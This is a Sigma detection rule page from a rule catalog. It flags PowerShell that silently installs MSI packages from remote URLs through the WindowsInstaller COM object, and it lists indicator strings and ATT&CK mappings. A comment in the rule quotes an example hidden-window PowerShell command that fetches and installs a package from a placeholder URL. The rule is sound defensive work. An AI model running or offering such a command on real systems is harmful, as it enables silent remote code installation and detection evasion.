detection.wiki

Detection rules › Sigma

PowerShell MSI Install via WindowsInstaller COM From Remote Location

Status
experimental
Severity
medium
Log source
product windows, category process_creation
Author
Meroujan Antonyan (vx3r)
Source
github.com/SigmaHQ/sigma

Detects the execution of PowerShell commands that attempt to install MSI packages via the Windows Installer COM object (WindowsInstaller.Installer) hosted remotely. This could be indication of malicious software deployment or lateral movement attempts using Windows Installer functionality. And the usage of WindowsInstaller COM object rather than msiexec could be an attempt to bypass the detection.

MITRE ATT&CK coverage

TacticTechniques
ExecutionT1059.001 Command and Scripting Interpreter: PowerShell
StealthT1218 System Binary Proxy Execution
Command & ControlT1105 Ingress Tool Transfer

Event coverage

ProviderEventTitle
SysmonEvent ID 1Process creation

Rule body yaml

title: PowerShell MSI Install via WindowsInstaller COM From Remote Location
id: 222720a7-047f-4054-baa5-bab9be757db0
status: experimental
description: |
    Detects the execution of PowerShell commands that attempt to install MSI packages via the
    Windows Installer COM object (`WindowsInstaller.Installer`) hosted remotely.
    This could be indication of malicious software deployment or lateral movement attempts using Windows Installer functionality.
    And the usage of WindowsInstaller COM object rather than msiexec could be an attempt to bypass the detection.
references:
    - https://informationsecuritybuzz.com/the-real-danger-behind-a-simple-windows-shortcut/
    - https://redcanary.com/blog/threat-intelligence/intelligence-insights-may-2025/
    - https://www.virustotal.com/gui/file/f9710b0ba4de5fa0e7ec27da462d4d2fc6838eba83a19f23f6617a466bbad457
author: Meroujan Antonyan (vx3r)
date: 2025-06-05
tags:
    - attack.execution
    - attack.stealth
    - attack.t1059.001
    - attack.t1218
    - attack.command-and-control
    - attack.t1105
logsource:
    category: process_creation
    product: windows
detection:
    # Example: "C:\Windows\system32\WindowsPowerShell\v1.0\PowerShell.exe" -W Hidden -C "$u='https://example.com/';$i=New-Object -ComObject('WindowsInstaller.Installer');$i.UILevel=2;$i.InstallProduct($u),'')";
    selection_img:
        - Image|endswith:
              - '\powershell_ise.exe'
              - '\powershell.exe'
              - '\pwsh.exe'
        - OriginalFileName:
              - 'PowerShell_ISE.EXE'
              - 'PowerShell.EXE'
              - 'pwsh.dll'
    selection_cli:
        CommandLine|contains|all:
            - '-ComObject'
            - 'InstallProduct('
    selection_remote:
        CommandLine|contains:
            - 'http'
            - '\\\\'
    filter_main_localhost:
        CommandLine|contains:
            - '://127.0.0.1'
            - '://localhost'
    condition: all of selection_* and not 1 of filter_main_*
falsepositives:
    - Unknown
level: medium

Stages and Predicates

Stage 0: condition

all of selection_* and not 1 of filter_main_*

Stage 1: selection_img

selection_img:
    - Image|endswith:
          - '\powershell_ise.exe'
          - '\powershell.exe'
          - '\pwsh.exe'
    - OriginalFileName:
          - 'PowerShell_ISE.EXE'
          - 'PowerShell.EXE'
          - 'pwsh.dll'

Stage 2: selection_cli

selection_cli:
    CommandLine|contains|all:
        - '-ComObject'
        - 'InstallProduct('

Stage 3: selection_remote

selection_remote:
    CommandLine|contains:
        - 'http'
        - '\\\\'

Stage 4: not filter_main_localhost

filter_main_localhost:
    CommandLine|contains:
        - '://127.0.0.1'
        - '://localhost'

Exclusions

Top-level NOT(...) conjuncts: predicates this rule actively suppresses.

FieldKindExcluded values
CommandLinematch://127.0.0.1
CommandLinematch://localhost

Indicators

Each row is a field, operator, and value that the rule matches. The corpus column counts how many other rules in the catalog look for the same combination: high numbers point to widely-used, community-vetted indicators. Blank or 1 shows that the indicator is specific to this rule.

FieldKindValues
CommandLinematch
  • -ComObject corpus 2 (sigma 2)
  • InstallProduct( corpus 2 (sigma 2)
  • \\\\ corpus 6 (sigma 5, splunk 1)
  • http corpus 39 (sigma 34, elastic 2, chronicle 2, splunk 1)
Imageends_with
  • \powershell.exe corpus 182 (sigma 182)
  • \powershell_ise.exe corpus 41 (sigma 41)
  • \pwsh.exe corpus 168 (sigma 168)
OriginalFileNameeq
  • PowerShell.EXE corpus 120 (sigma 84, splunk 30, elastic 6)
  • PowerShell_ISE.EXE corpus 51 (splunk 30, sigma 18, elastic 3)
  • pwsh.dll corpus 112 (sigma 79, splunk 30, elastic 3)